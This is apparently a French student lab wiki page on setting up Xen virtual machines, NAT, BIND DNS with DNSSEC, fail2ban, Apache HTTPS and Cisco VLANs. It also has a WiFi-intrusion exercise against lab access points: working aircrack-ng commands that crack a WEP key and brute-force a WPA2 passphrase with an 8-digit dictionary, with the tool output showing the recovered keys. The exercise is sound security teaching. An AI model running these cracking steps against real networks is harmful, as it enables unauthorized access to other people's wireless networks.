root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
